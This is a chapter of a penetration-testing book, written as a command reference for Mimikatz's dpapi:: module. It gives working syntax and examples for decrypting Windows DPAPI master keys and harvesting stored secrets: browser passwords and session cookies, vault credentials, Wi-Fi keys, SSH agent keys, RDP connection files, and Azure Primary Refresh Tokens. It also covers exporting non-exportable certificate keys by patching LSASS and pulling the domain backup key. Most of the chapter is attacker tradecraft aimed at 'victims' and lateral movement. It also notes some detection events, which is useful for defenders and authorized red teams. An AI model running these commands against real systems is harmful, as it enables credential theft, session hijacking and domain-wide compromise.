Skip to content

Chapter 44: DPAPI Module

Introduction

We’ve covered the theory of DPAPI in Chapter 43, but now it’s time to get our hands dirty. The dpapi:: module in Mimikatz is where the complex math of master key derivation meets the practical reality of credential harvesting. This module is your scalpel for extracting secrets from the Windows registry, filesystem, and memory. Whether you’re dealing with Chrome passwords, Outlook tokens, or wireless keys, the commands in this chapter are what you’ll use to peel back the encryption.

In my experience, the DPAPI module is one of the most versatile tools in the Mimikatz arsenal. It allows you to move seamlessly between different types of secrets—from browser data to private SSH keys—all by following the same master key chain. This chapter is designed as a comprehensive command reference. We’ll walk through the syntax for master key operations, blob decryption, and specialized browser and SSH key extraction.

As a reminder, if you need a refresh on the underlying architecture—like how PBKDF2 is used or how the domain backup key fail-safe works—revisit Chapter 43. Here, we focus on the execution.

Master Key Operations

dpapi::masterkey

This is the command you’ll use most often. It decrypts the master key files themselves so you can use them to unlock user data. Decrypted and requested keys are placed in the DPAPI Cache. To see keys in the cache the command dpapi::cache is used.

Syntax:

mimikatz # dpapi::masterkey /in:<path_to_file> [/sid:<user_sid>] [/password:<password>]

Example:

mimikatz # dpapi::masterkey /in:"C:\Users\alice\AppData\Roaming\Microsoft\Protect\S-1-5-...\a8f9..." /sid:S-1-5-21-... /password:P@ssw0rd!

  [masterkey] with password: P@ssw0rd!
    key: 3f8a9c7e5d4b2a1f0e9d8c7b6a5f4e3d2c1b0a9f8e7d6c5b4a3f2e1d0c9b8a7

Once decrypted, Mimikatz caches the result. You can view your current "toolbox" of keys using dpapi::cache.

Parameters for dpapi::masterkey:

ParameterDescription
/in:Full path to the master key file on disk
/sid:SID of the account (Mimikatz will auto-detect if path is in default location)
/hash:(Optional) SHA1 hash used to unprotect the MK and load it into cache
/password:(Optional) Cleartext password used to unprotect the MK
/protected(Optional) Specifies the hash is for a Protected Users group member
/pvk:(Optional) Path to domain backup private key for domain user decryption
/rpc(Optional) Request decryption from a Domain Controller via MS-BKRP

Local user decryption (SHA1 hash or cleartext password required):

mimikatz # dpapi::masterkey /in:<key> /hash:<sha1>
mimikatz # dpapi::masterkey /in:<key> /password:<cleartext password>

Protected user or Credential Guard enabled:

mimikatz # dpapi::masterkey /in:<key> /hash:<sha1> /protected
mimikatz # dpapi::masterkey /in:<key> /password:<cleartext password> /protected

Domain user via RPC (if DC is reachable, the DC will decrypt it for us using MS-BKRP):

mimikatz # dpapi::masterkey /in:<key> /rpc

If Object access auditing is enabled, multiple Event ID 4662 entries are generated with ObjectName containing the string BCKUPKEY.

DC Decryption Event 1

DC Decryption Event 2

dpapi::cache

The DPAPI cache is where Mimikatz stores decrypted master keys during your session. Managing this cache effectively is crucial for efficient operations—you don't want to re-decrypt the same master key multiple times.

DPAPI Cache Export

Parameters for dpapi::cache:

ParameterDescription
/saveExport current memory cache to a file
/loadLoad a previously exported cache into memory
/file:Name of file to load from or save to
/flushClear all keys from the cache

A saved cache can be transferred to other machines and loaded without needing the original user's password or hash—extremely useful for offline analysis scenarios.

dpapi::credhist

When you're dealing with data encrypted years ago, the user's current password won't work. You need to roll back the clock using the CREDHIST file. The credential history file stores the NTLM hash and SHA1 hash of each password as the user has changed it over time. This gives us the opportunity to not only decrypt old DPAPI-protected blobs but also crack the hashes to understand the user's password patterns.

Parameters for dpapi::credhist:

ParameterDescription
/in:Path to the CREDHIST file (mandatory)
/sid:(Optional) SID of the user
/password:(Optional) Cleartext password of the user
/hash:(Optional) SHA1 hash of the user's password

Example:

mimikatz # dpapi::credhist /in:"C:\Users\alice\AppData\Roaming\Microsoft\Protect\CREDHIST" /password:CurrentP@ss!

This derives the historical password hashes needed to unlock older master keys.

Credential History

dpapi::create

Sometimes you need to generate a master key file yourself, for example, when analyzing data on a researcher machine rather than the victim's. This command allows you to create a master key file if you know the metadata.

Syntax:

mimikatz # dpapi::create /guid:<masterKeyGUID> /key:<masterKeyValue> /password:<yourVMUserPassword> [/protected]

Example:

mimikatz # dpapi::create /guid:3e3d... /key:ab12... /password:MyResearchVMPass /protected

Parameters for dpapi::create:

ParameterDescription
/guid:The GUID of the original master key
/key:The decrypted 64-byte master key value
/password:Cleartext password of the user who will use the key
/md4:(Optional) NTLM hash of the user
/sha1:(Optional) SHA1 hash of the user
/protected(Optional) Create a key for a Protected Users group member

The combination of parameters depends on your context. Creating a master key using your own credentials:

dpapi::create /key:<key> /guid:<GUID> /sha1:<sha1>
dpapi::create /key:<key> /guid:<GUID> /md4:<NTLM Hash>
dpapi::create /key:<key> /guid:<GUID> /password:<cleartext password>

If the attacker's account is a protected user on the system he is running under, the /protected need to be specified

dpapi::create /key:<key> /guid:<GUID> /sha1:<sha1> /protected
dpapi::create /key:<key> /guid:<GUID> /md4:<NTLM Hash> /protected
dpapi::create /key:<key> /guid:<GUID> /password:<cleartext password> /protected

Blob Decryption

dpapi::blob

Everything in DPAPI eventually ends up as a "blob"—a binary structure containing encrypted data along with metadata about how it was encrypted. This command is your general-purpose decryptor for those blobs.

DPAPI blobs can be identified by their provider GUID at the start of the data:

01 00 00 00 D0 8C 9D DF 01 15 D1 11 8C 7A 00 C0 4F C2 97 EB

Parameters for dpapi::blob:

ParameterDescription
/in:Path to the blob file on the filesystem
/out:(Optional) Path where to save the decrypted output
/unprotect(Optional) Decrypt and display the secret as a string on screen
/masterkey:(Optional) Specific master key to use for decryption

Example:

mimikatz # dpapi::blob /in:"C:\temp\encrypted_blob.bin"

If you have the correct master key in your cache, Mimikatz will automatically find it, match the GUID, and reveal the plaintext data inside.

Showing Blob Information

You can specify an output file to save the decrypted content:

Saving Decrypted Blob

dpapi::protect

The opposite of blob—this command creates a DPAPI blob by encrypting your data. This is useful for Red Team operations where you want to drop a payload that can only be decrypted by a specific user or machine.

Parameters for dpapi::protect:

ParameterDescription
/data:String to encrypt
/description:(Optional) Description of the data (stored in the blob)
/entropy:(Optional) Additional entropy (salt) for encryption
/machine(Optional) Encrypt under the machine context
/system(Optional) Encrypt under the SYSTEM context
/prompt(Optional) Show DPAPI prompt dialog for additional password
/out:(Optional) Full path to save the blob file
/c(Optional) Output as C byte array format

Example:

mimikatz # dpapi::protect /data:"MySecretPayload"
mimikatz # dpapi::protect /data:"MachineSecret" /machine /out:C:\temp\secret.bin

The output is a binary blob that is tied to the user's (or machine's) master key. Only someone with access to that key can decrypt it.

If the /prompt option is used, additional flags including a secondary password can be used to secure the secret:

Prompt 1

Prompt 2

Prompt 3

Credential Vaults

Understanding the Credential Store

Microsoft introduced the Credential Store back in Windows XP to give the OS and applications a secure, centralized way to store and retrieve user credentials. If you've ever checked "Remember my credentials" when connecting to a network share or logging into a website through Internet Explorer, you've used this system. Operationally, it's a goldmine—scheduled tasks, RDP sessions, and even some enterprise applications store their authentication material here.

The Credential Manager (which you can access via Control Panel) allows users to manage these stored credentials:

  • Create, delete, and modify username/password pairs
  • Manage stored certificates
  • Backup and restore credential stores as .crd files

What's important to understand from an attacker's perspective is that applications and the system itself can manage credentials with or without the user's knowledge. This means you'll often find credentials in these stores that the user doesn't even realize exist.

File Locations and Structure

Credentials and Vaults are stored in two key locations within the user's profile under \AppData\(Local|Roaming)\Microsoft\:

Credentials Folder: Contains files managed by the system, each named with a GUID.

Vault Folder: Contains subfolders named based on schema GUIDs, each holding the vault's policy and credential files.

Credential and Vault Folder Structure

Vault Files

SYSTEM also maintains its own credentials and vaults, separate from user-level stores. This is particularly relevant for scheduled tasks running under elevated contexts.

Vault File Types

A Vault folder can contain three types of files:

File TypeDescription
Policy.vpolContains two AES encryption keys used to decrypt the information in .vcrd files
.vschSchema file containing the description, flags, and structure information of stored data
.vcrdThe actual vault credential storing encrypted data associated with a specific schema

Understanding this structure is key because to decrypt vault credentials, you need both the master key and the policy file—they work together in the decryption chain.

Credential Types

When you enumerate credentials, you'll encounter different types that determine how they can be accessed:

  • Type 1 (Generic): These can be decrypted when running under the user's context. Think saved browser passwords or application credentials.
  • Type 2 (Domain Password): Only LSASS can access these through the standard Windows API. These are typically enterprise SSO credentials or domain-joined workstation passwords.

This distinction matters operationally. Generic credentials are low-hanging fruit—get the right master key, and you're in. Domain credentials require either patching LSASS (not recommended) or going the DPAPI route directly.

Mimikatz Commands for Credential Vaults

Mimikatz provides several commands for working with Credential Vaults:

CommandPurpose
vault::listLists vaults under the current user
vault::credsEnumerates credentials using the standard CredEnumerate API
dpapi::vaultDecrypts .vcrd files using DPAPI
dpapi::credDecrypts Credential Store files using DPAPI

Enumerating with vault::creds

The vault::creds command uses the Windows CredEnumerate API with flags set first to 0, then to CRED_ENUMERATE_ALL_CREDENTIALS to attempt retrieval of all stored credentials.

vault::creds Output

One thing to note: if vault::creds encounters domain credentials (Type 2), it can patch LSASS memory using the /patch option. However, I don't recommend this approach—recovering from the patch requires a reboot, and it's far from OPSEC-safe. Most EDR solutions will flag this behavior immediately.

vault::creds Patch Warning

vault::creds Patch

The Safer Approach: dpapi::cred

A much cleaner method, both for system stability and operational security, is to use the dpapi::cred command and leverage the DPAPI keys already in your cache. This approach will decrypt credentials flagged as domain password (Type 2) without touching LSASS.

This technique is particularly valuable for extracting saved scheduled task credentials. Even after a scheduled task is deleted, its credentials often remain in a vault with a TargetName like Domain:batch=TaskScheduler:Task:{<GUID>}. Defenders frequently miss these orphaned credentials during cleanup.

Parameters for dpapi::cred:

ParameterDescription
/in:Full path to the credential file to decrypt
/masterkey:(Optional) Decrypted master key to use for decryption

Example:

mimikatz # dpapi::cred /in:"C:\Users\alice\AppData\Local\Microsoft\Credentials\DFBE70A7E5CC19A398EBF1B96859CE5D"

dpapi::cred Output

When decrypting credentials, you'll see output that includes the target name (identifying what the credential is for), the username, and the decrypted password or secret:

Decrypted Credential Details

Decrypted Credential Password

Full Credential Decryption

Decrypting Vault Files: dpapi::vault

For vault credentials (the .vcrd files), you'll need to provide both the credential file and the associated policy file.

Parameters for dpapi::vault:

ParameterDescription
/cred:Full path to the .vcrd file to decrypt
/policy:Full path to the Policy.vpol file for the vault
/masterkey:(Optional) Decrypted master key to use for decryption

Example:

mimikatz # dpapi::vault /cred:"C:\Users\alice\AppData\Local\Microsoft\Vault\{4BF4C442-...}\<guid>.vcrd" /policy:"C:\Users\alice\AppData\Local\Microsoft\Vault\{4BF4C442-...}\Policy.vpol"

dpapi::vault Output

Operational Considerations

When targeting Credential Vaults during an engagement, keep these points in mind:

  1. Always check both Local and Roaming AppData - credentials can be stored in either location depending on how they were created.

  2. Don't forget SYSTEM vaults - scheduled tasks and services running as SYSTEM often have credentials stored separately from user vaults.

  3. Enumerate before you decrypt - use vault::list first to understand what vaults exist before attempting decryption. This helps you prioritize high-value targets.

  4. Orphaned credentials are common - applications and tasks are frequently removed without cleaning up their stored credentials. These "ghost" credentials can provide access to resources that might otherwise seem unrelated to the compromised user.

  5. Avoid LSASS patching - while vault::creds /patch exists, the DPAPI route through dpapi::cred is significantly safer and achieves the same result.

Browser Credentials

Understanding Browser Secret Storage

Browser credentials are among the most valuable targets during post-exploitation. Users routinely save passwords for corporate applications, cloud services, banking sites, and social media—all protected by DPAPI. Chrome, Edge (Chromium-based), and other Chromium browsers store this data in SQLite databases with DPAPI-encrypted password fields.

Chrome and Edge Data Locations

Chromium-based browsers store their data in predictable locations:

Google Chrome:

%LOCALAPPDATA%\Google\Chrome\User Data\Default\

Microsoft Edge (Chromium):

%LOCALAPPDATA%\Microsoft\Edge\User Data\Default\

Brave:

%LOCALAPPDATA%\BraveSoftware\Brave-Browser\User Data\Default\

Within these directories, the key files are:

FileContents
Login DataSQLite database containing saved usernames and DPAPI-encrypted passwords
CookiesSQLite database containing session cookies (some values DPAPI-encrypted)
Local StateJSON file containing the AES key for Chromium v80+ (itself DPAPI-protected)

Chrome Login Data Structure

Chrome Cookies Structure

Encryption Changes in Chromium v80+

Prior to Chromium version 80, passwords were encrypted directly with DPAPI. Starting with v80 (released February 2020), Google introduced an additional layer: passwords are now encrypted with AES-256-GCM, and the AES key itself is stored in the Local State JSON file, protected by DPAPI.

This means for modern browsers, the decryption chain is:

  1. DPAPI decrypts the AES key from Local State
  2. AES-256-GCM decrypts the actual password from Login Data

Mimikatz handles both schemes transparently—just point it at the database.

Extracting Browser Credentials: dpapi::chrome

The dpapi::chrome command decrypts both the Login Data and Cookies databases from Chromium-based browsers.

Parameters for dpapi::chrome:

ParameterDescription
/in:Path to the SQLite database to decrypt (Login Data or Cookies)
/state:(Optional) Path to the Local State file (for Chromium v80+)
/masterkey:(Optional) Decrypted master key to use for decryption
/password:(Optional) Cleartext password of the user
/unprotect(Optional) Attempt decryption using current user context

Example - Extracting saved passwords:

mimikatz # dpapi::chrome /in:"C:\Users\alice\AppData\Local\Google\Chrome\User Data\Default\Login Data"

Example - With explicit Local State for v80+:

mimikatz # dpapi::chrome /in:"C:\Users\alice\AppData\Local\Google\Chrome\User Data\Default\Login Data" /state:"C:\Users\alice\AppData\Local\Google\Chrome\User Data\Local State"

dpapi::chrome Password Output

dpapi::chrome Additional Output

Example - Extracting cookies:

mimikatz # dpapi::chrome /in:"C:\Users\alice\AppData\Local\Google\Chrome\User Data\Default\Cookies"

dpapi::chrome Cookies Output

Operational Considerations

  1. Browser must be closed: The SQLite databases are locked while the browser is running. You may need to copy the files to a temp location first, or wait for the user to close the browser.

  2. Multiple profiles: Users may have multiple Chrome profiles. Check for directories like Profile 1, Profile 2, etc. alongside Default.

  3. Cookies are session gold: Beyond passwords, session cookies for authenticated services (Office 365, AWS Console, internal apps) allow you to hijack active sessions without needing credentials at all.

  4. Edge shares the format: Microsoft Edge (Chromium) uses the identical storage format. The same commands work—just change the path.

  5. Sync considerations: If the user has Chrome Sync enabled, credentials may be synced to their Google account. Compromising one machine could reveal passwords used on others.

Private Keys and Certificates

Understanding Windows Cryptographic Key Storage

Certificates are the backbone of modern enterprise authentication—smart card logon, code signing, S/MIME email encryption, and VPN authentication all rely on them. When those certificates have private keys stored in software (as opposed to a hardware security module or smart card), Windows protects them using DPAPI. This makes certificate private keys a high-value target during post-exploitation.

Windows provides two distinct cryptographic APIs for managing these keys, and understanding which one is in use determines your extraction approach:

CryptoAPI (CAPI): The original Windows cryptography framework dating back to Windows NT. Keys are stored as files in the user's profile under %APPDATA%\Microsoft\Crypto\RSA\<SID>\ for user keys or %ALLUSERSPROFILE%\Microsoft\Crypto\RSA\MachineKeys\ for machine keys.

Cryptography API: Next Generation (CNG): Microsoft's modern replacement introduced in Windows Vista. CNG keys are stored in %APPDATA%\Microsoft\Crypto\Keys\ for user keys or %ALLUSERSPROFILE%\Microsoft\Crypto\Keys\ for machine keys.

Identifying the API in Use

When you list certificates using crypto::certificates, pay attention to the Provider Name field. This tells you which API manages the private key:

CryptoAPI Providers (use dpapi::capi):

  • Microsoft Base Cryptographic Provider v1.0
  • Microsoft Enhanced Cryptographic Provider v1.0
  • Microsoft Enhanced RSA and AES Cryptographic Provider
  • Microsoft Strong Cryptographic Provider
  • Microsoft RSA SChannel Cryptographic Provider
  • Microsoft Base Smart Card Crypto Provider

CNG Providers (use dpapi::cng):

  • Microsoft Software Key Storage Provider
  • Microsoft Smart Card Key Storage Provider
  • Microsoft Platform Crypto Provider

Listing Certificates

File Locations

User Private Keys:

APILocation
CAPI%APPDATA%\Microsoft\Crypto\RSA\<User SID>\
CNG%APPDATA%\Microsoft\Crypto\Keys\

Machine Private Keys:

APILocation
CAPI%ALLUSERSPROFILE%\Microsoft\Crypto\RSA\MachineKeys\
CNG%ALLUSERSPROFILE%\Microsoft\Crypto\Keys\

The files themselves are named with GUIDs and contain the DPAPI-protected private key material along with metadata about the key container.

Decrypting CAPI Private Keys: dpapi::capi

The dpapi::capi command decrypts private keys protected by the legacy CryptoAPI.

Parameters for dpapi::capi:

ParameterDescription
/in:Full path to the private key file
/unprotect(Optional) Decrypt and display the key material
/masterkey:(Optional) Decrypted master key to use for decryption

Example:

mimikatz # dpapi::capi /in:"C:\Users\alice\AppData\Roaming\Microsoft\Crypto\RSA\S-1-5-21-...\d4f9c8e7a..."

The output will show you the key container name, provider information, and if you have the correct master key cached, the decrypted private key material.

Decrypting CNG Private Keys: dpapi::cng

For keys managed by the newer CNG framework, use dpapi::cng. The process is similar but targets the different storage format.

Parameters for dpapi::cng:

ParameterDescription
/in:Full path to the CNG private key file
/unprotect(Optional) Decrypt and display the key material
/masterkey:(Optional) Decrypted master key to use for decryption

Example:

mimikatz # dpapi::cng /in:"C:\Users\alice\AppData\Roaming\Microsoft\Crypto\Keys\de8a4..."

Exporting Non-Exportable Keys

Here's where things get interesting operationally. Many certificates are enrolled with the "non-exportable" flag set, which is supposed to prevent the private key from being exported. However, this is an API-level restriction, not a cryptographic one—the key material still exists in memory during use.

For CAPI keys: Use crypto::capi to patch the in-memory CryptoAPI functions, then export with crypto::certificates /export.

CAPI Patch

For CNG keys: Use crypto::cng to patch LSASS (since CNG key operations are handled by the Key Isolation service running in LSASS), then export.

CNG Provider

CNG Patch

Note that patching CNG keys requires touching LSASS, which generates security events. If auditing is enabled, you'll see Kernel Object access events for the LSASS process.

CNG LSASS Events

Exported Key Format

When you successfully export private keys, Mimikatz saves them as PFX files protected with the password "mimikatz". If you need to use these certificates with tools like Rubeus or Kekeo for Kerberos attacks, you'll need to remove the password protection first.

You can do this with PowerShell:

powershell
$cert = Get-Content -Path "cert.pfx" -Encoding Byte
$certCollection = New-Object System.Security.Cryptography.X509Certificates.X509Certificate2Collection
$storageFlag = [System.Security.Cryptography.X509Certificates.X509KeyStorageFlags]::Exportable
$certCollection.Import($cert, "mimikatz", $storageFlag)
$certBytes = $certCollection.Export([System.Security.Cryptography.X509Certificates.X509ContentType]::Pfx)
[System.IO.File]::WriteAllBytes("cert_nopass.pfx", $certBytes)

Or with OpenSSL:

bash
openssl pkcs12 -in cert.pfx -out cert.pem -nodes -password pass:mimikatz
openssl pkcs12 -in cert.pem -export -out cert_nopass.pfx -passout pass:

Operational Considerations

When targeting certificate private keys, keep these points in mind:

  1. Smart card warnings: Before listing certificates, check if a smart card reader is connected. The act of enumerating certificates may trigger a popup asking the user to insert their smart card—an obvious red flag.

Smart Card Warning

  1. Machine keys require SYSTEM: To access machine-level private keys (used by services, computer accounts, etc.), you'll need to elevate to SYSTEM context first.

  2. Domain Controller certificates are gold: DCs hold certificates for LDAPS, Kerberos authentication, and domain controller authentication. Compromising these enables powerful attacks like DVPT (Domain Controller Certificate Theft).

  3. Code signing certificates: If you find a code signing certificate with an exportable private key, you can sign malicious payloads that will be trusted by that organization's systems.

  4. The DPAPI chain matters: Remember, you still need the appropriate master key to decrypt the private key file. For user keys, that's the user's DPAPI master key. For machine keys, it's the SYSTEM master key.

Windows OpenSSH Keys

Understanding Windows SSH Key Storage

Starting with Windows 10 version 1709 (Fall Creators Update), Microsoft included a native OpenSSH implementation. This was a significant shift—organizations no longer needed third-party tools like PuTTY for SSH connectivity. From an offensive perspective, this means SSH private keys are now a standard target on Windows systems, and they're protected by DPAPI.

When the SSH Agent service (ssh-agent) is running and a user adds their private key to the agent (using ssh-add), Windows caches the key in the registry. The key material is encrypted using the user's DPAPI master key before being stored.

SSH Keys in Registry

Key Storage Location

SSH private keys cached by the agent are stored in the registry at:

HKCU\Software\OpenSSH\Agent\Keys

Each subkey under Keys represents a cached private key, named with the key's fingerprint. The actual key data is stored as a binary value, encrypted with DPAPI.

Note that this is separate from the user's .ssh directory (%USERPROFILE%\.ssh\), which may contain:

  • id_rsa, id_ed25519, etc. - Private key files (may or may not be password-protected)
  • id_rsa.pub, id_ed25519.pub - Public key files
  • known_hosts - List of trusted remote hosts
  • config - SSH client configuration

The .ssh directory files are not DPAPI-protected—if a private key file has no passphrase, it's stored in plaintext. The DPAPI protection only applies to keys loaded into the SSH Agent.

Extracting SSH Keys: dpapi::ssh

The dpapi::ssh command extracts and decrypts SSH private keys that have been cached by the Windows SSH Agent.

Parameters for dpapi::ssh:

ParameterDescription
/hive:(Optional) Path to an exported NTUSER.DAT registry hive for offline analysis

Online Mode (on a live system with user logged in):

mimikatz # dpapi::ssh

This will enumerate all keys in the current user's HKCU\Software\OpenSSH\Agent\Keys and attempt to decrypt them using the DPAPI keys in the cache.

Offline Mode (analyzing an exported registry hive):

mimikatz # dpapi::ssh /hive:"C:\evidence\NTUSER.DAT"

dpapi::ssh Output

Operational Workflow

To successfully extract SSH keys from the agent, follow this workflow:

  1. Load the user's DPAPI master key into your cache first (using dpapi::masterkey or sekurlsa::dpapi)

  2. Run dpapi::ssh to enumerate and decrypt cached keys

  3. Save the extracted keys - Mimikatz will output the private key material in OpenSSH format, which you can save to a file

  4. Use the key for lateral movement to Linux/Unix systems, cloud infrastructure, or other SSH-accessible resources

What You'll Find

SSH keys in enterprise environments often provide access to:

  • Linux/Unix servers - Web servers, database servers, application servers
  • Cloud infrastructure - AWS EC2 instances, Azure VMs, GCP Compute Engine
  • Network devices - Routers, switches, firewalls with SSH management
  • Source code repositories - GitHub, GitLab, Bitbucket (deploy keys)
  • CI/CD systems - Jenkins, GitLab CI, GitHub Actions (deployment credentials)
  • Container orchestration - Kubernetes nodes, Docker hosts

Operational Considerations

  1. Check if SSH Agent is running: The ssh-agent service must be running and have keys loaded. Users who haven't used ssh-add won't have keys in the registry.

  2. Don't forget the .ssh directory: Many users store unencrypted private keys directly in %USERPROFILE%\.ssh\. Check there first—you might not even need DPAPI.

  3. Key comments reveal targets: SSH keys often include comments (the email or hostname at the end of the public key) that indicate what systems they're used for.

  4. Service accounts matter: Automated systems and service accounts frequently use SSH keys for scheduled tasks, backups, and deployments. These accounts often have broad access.

  5. Consider key types: Modern keys (Ed25519, ECDSA) are becoming more common, but RSA keys are still widely deployed. Mimikatz handles all standard OpenSSH key formats.

System and Wireless Credentials

Understanding WLAN Profile Storage

Windows stores wireless network profiles as XML files, making it easy to backup, export, and deploy Wi-Fi configurations across machines. However, the actual pre-shared keys (PSK) for WPA2/WPA3 networks are encrypted using DPAPI before being embedded in these XML files. The encryption uses the computer account's DPAPI master key, not the user's—which means you need SYSTEM privileges to decrypt them.

WLAN Profile Locations

Wireless profiles are stored at:

C:\ProgramData\Microsoft\Wlansvc\Profiles\Interfaces\<Interface GUID>\<Profile GUID>.xml

Each wireless interface has its own GUID folder, and each saved network has an XML file named with a GUID. The XML structure includes network name (SSID), authentication type, and the DPAPI-encrypted key material.

WLAN Profile Structure

Extracting Wireless Keys: dpapi::wlan

The dpapi::wlan command decrypts the pre-shared keys from Windows wireless profiles.

Parameters for dpapi::wlan:

ParameterDescription
/in:(Optional) Path to a specific wireless profile XML file
/masterkey:(Optional) Decrypted master key to use for decryption
/password:(Optional) Cleartext password (rarely needed for machine keys)
/unprotect(Optional) Attempt decryption using current context

Example - Enumerate all wireless profiles:

mimikatz # dpapi::wlan

This will automatically find all wireless interfaces and profiles on the system and attempt to decrypt each one.

Example - Decrypt a specific profile:

mimikatz # dpapi::wlan /in:"C:\ProgramData\Microsoft\Wlansvc\Profiles\Interfaces\{ABC123...}\{DEF456...}.xml"

dpapi::wlan Enumeration

dpapi::wlan Decrypted Keys

Operational Considerations

  1. Requires SYSTEM context: Since wireless profiles are protected with the machine's DPAPI key, you need to elevate to SYSTEM before running this command. Use token::elevate or run Mimikatz as SYSTEM.

  2. Corporate Wi-Fi often uses certificates: Enterprise WPA2/WPA3-Enterprise networks typically use certificate-based authentication (EAP-TLS) rather than pre-shared keys. These won't have PSKs to extract, but the certificate private keys may be valuable targets (see the CAPI/CNG section).

  3. Guest networks reveal scope: Even if you can't use the corporate Wi-Fi key directly, seeing what networks the machine connects to reveals information about locations, client sites, and network architecture.

  4. Lateral movement via Wi-Fi: In some environments, the same PSK is used across multiple sites. A key extracted from one laptop could provide physical access to networks at other locations.

  5. netsh alternative: For a quick check without Mimikatz, netsh wlan show profiles lists saved networks, and netsh wlan show profile name="NetworkName" key=clear shows the key—but only if you're running as admin and the profile allows key export.

Cloud & Azure AD Integration

Understanding Azure AD and the Primary Refresh Token

Modern Windows environments are often hybrid or cloud-joined, integrating with Azure Active Directory for identity management. At the heart of this integration is the Primary Refresh Token (PRT)—think of it as the "Golden Ticket" for Azure AD. The PRT enables Single Sign-On (SSO) to Office 365, Azure Portal, and any application integrated with Azure AD.

When a user signs into a Windows 10/11 device that's Azure AD joined or hybrid joined, they receive a PRT. This token is stored locally, protected by DPAPI (and optionally TPM), and is automatically used by applications to obtain access tokens without prompting the user for credentials again.

Extracting Cloud Credentials: dpapi::cloudapreg

The dpapi::cloudapreg command targets the CloudAP (Cloud Authentication Provider) plugin data stored in the registry. This data includes the PRT and its associated session key.

Parameters for dpapi::cloudapreg:

ParameterDescription
/sid:(Optional) SID of the target user
/masterkey:(Optional) Decrypted master key to use for decryption
/unprotect(Optional) Attempt decryption using current context

Example:

mimikatz # dpapi::cloudapreg

If successful, you'll extract the PRT and session key. These can be used to perform a "Pass-the-PRT" attack—impersonating the user to Azure AD-integrated services without knowing their password.

Pass-the-PRT Attack Flow

  1. Extract the PRT using dpapi::cloudapreg
  2. Obtain a derived key from the PRT session key
  3. Request access tokens for target services (Graph API, Office 365, Azure Portal)
  4. Use the tokens to access cloud resources as the victim user

Tools like ROADtools and AADInternals can help with the token manipulation after extraction.

Operational Considerations for Cloud Credentials

  1. TPM protection: On modern devices with TPM 2.0, the PRT may be protected by the TPM in addition to DPAPI. This makes extraction significantly harder without physical access to the device.

  2. Conditional Access: Even with a valid PRT, Conditional Access policies may block access from unexpected locations, devices, or risk levels.

  3. Token lifetime: PRTs are long-lived (typically 14 days) but can be revoked by administrators. Act quickly once extracted.

  4. Hybrid vs. Cloud-only: Hybrid joined devices have both on-prem AD and Azure AD credentials. Cloud-only (Azure AD joined) devices rely entirely on the PRT for authentication.

Additional Targets

Remote Desktop Gateway Files: dpapi::rdg

Remote Desktop Connection Manager and similar tools save connection configurations in .rdg files. When users choose to save passwords for RDP connections, those credentials are embedded in the XML structure and encrypted with DPAPI.

Parameters for dpapi::rdg:

ParameterDescription
/in:Path to the .rdg file to decrypt
/masterkey:(Optional) Decrypted master key to use for decryption
/unprotect(Optional) Attempt decryption using current context

Example:

mimikatz # dpapi::rdg /in:"C:\Users\alice\Documents\Servers.rdg"

RDG File Contents

RDG Decrypted Credentials

Common locations to check:

  • %USERPROFILE%\Documents\*.rdg
  • %USERPROFILE%\Desktop\*.rdg
  • Shared drives where IT teams store connection files

TPM-Protected Keys: dpapi::tpm

When Credential Guard or other TPM-based protections are enabled, some DPAPI keys are bound to the Trusted Platform Module. The dpapi::tpm command attempts to work with the TPM Platform Crypto Provider (PCP) to decrypt these keys.

Parameters for dpapi::tpm:

ParameterDescription
/in:Path to the PCP key file
/masterkey:(Optional) Decrypted master key

Example:

mimikatz # dpapi::tpm /in:"C:\Users\alice\AppData\Local\Microsoft\Crypto\PCPKSP\..."

Operational reality: TPM-protected keys are significantly harder to extract. The key material never leaves the TPM chip, so traditional DPAPI attacks fail. You typically need:

  • Physical access to the device
  • The TPM to be in a vulnerable state
  • Or to work within the context of a user who has already authenticated

This is by design—TPM protection is one of the most effective defenses against credential theft.

Operational Considerations for Additional Targets

  1. RDG files are everywhere: System administrators often have RDG files with dozens of saved server connections. These are high-value targets for lateral movement.

  2. Search broadly: Use dir /s *.rdg or PowerShell to find RDG files across the filesystem, including on network shares.

  3. TPM indicates hardened environment: If you encounter TPM-protected credentials, you're likely dealing with a security-conscious organization. Adjust your approach accordingly.

  4. Credential Guard changes the game: On systems with Credential Guard enabled, many traditional DPAPI attacks become ineffective. The secrets are isolated in a virtualization-based security container.

Domain Backup Key Operations

The Domain Backup Key is the "Holy Grail" of DPAPI. It allows decryption of any DPAPI secret in the domain (users and computers) without knowing their passwords.

Retrieval

Attackers can retrieve this key using Mimikatz or DSInternals.

  • Mimikatz: lsadump::backupkeys /system:dc01.corp.local /export
  • DSInternals: Get-LsaBackupKey -DirectoryPath \\dc01\C$\Windows\NTDS (offline) or online via Get-ADReplBackupKey.

Consequences of Compromise

If this key is compromised, it is often considered "Game Over".

  • Total Decryption: Attackers can decrypt all historical and future secrets for all users (Chrome passwords, VPN keys, etc.).
  • Persistence: The key does not change automatically. It persists for the life of the domain.
  • Microsoft's Stance: Microsoft's official recommendation for a compromised backup key is to rebuild the entire domain. There is no supported way to "rotate" this key effectively to secure past data.

While not supported by Microsoft, it is technically possible to inject a new backup key using tools like DSInternals.

Concept:

  1. Generate a new RSA key pair.
  2. Write it to the Active Directory BCKUPKEY secret object.
  3. Force replication and client updates.

Why this is dangerous/insufficient:

  • Historical Data: All existing master keys are still encrypted with the old compromised backup key. The attacker can still decrypt them.
  • Complexity: It requires complex AD surgery and restarting Domain Controllers.
  • Unsupported: You are on your own if it breaks authentication.

References:

Summary

The DPAPI module is your key to the "at-rest" secrets of a Windows system.

  • masterkey and cache manage your decryption keys.
  • chrome, cred, and wlan are your primary high-value targets.
  • backupkeys (from Chapter 43) provide the domain-level bypass.

In the final chapter of this book, Chapter 45, we provide a consolidated list of references, tools, and further reading to keep your tradecraft sharp.


Next: Chapter 45: ReferencesPrevious: Chapter 43: DPAPI Basics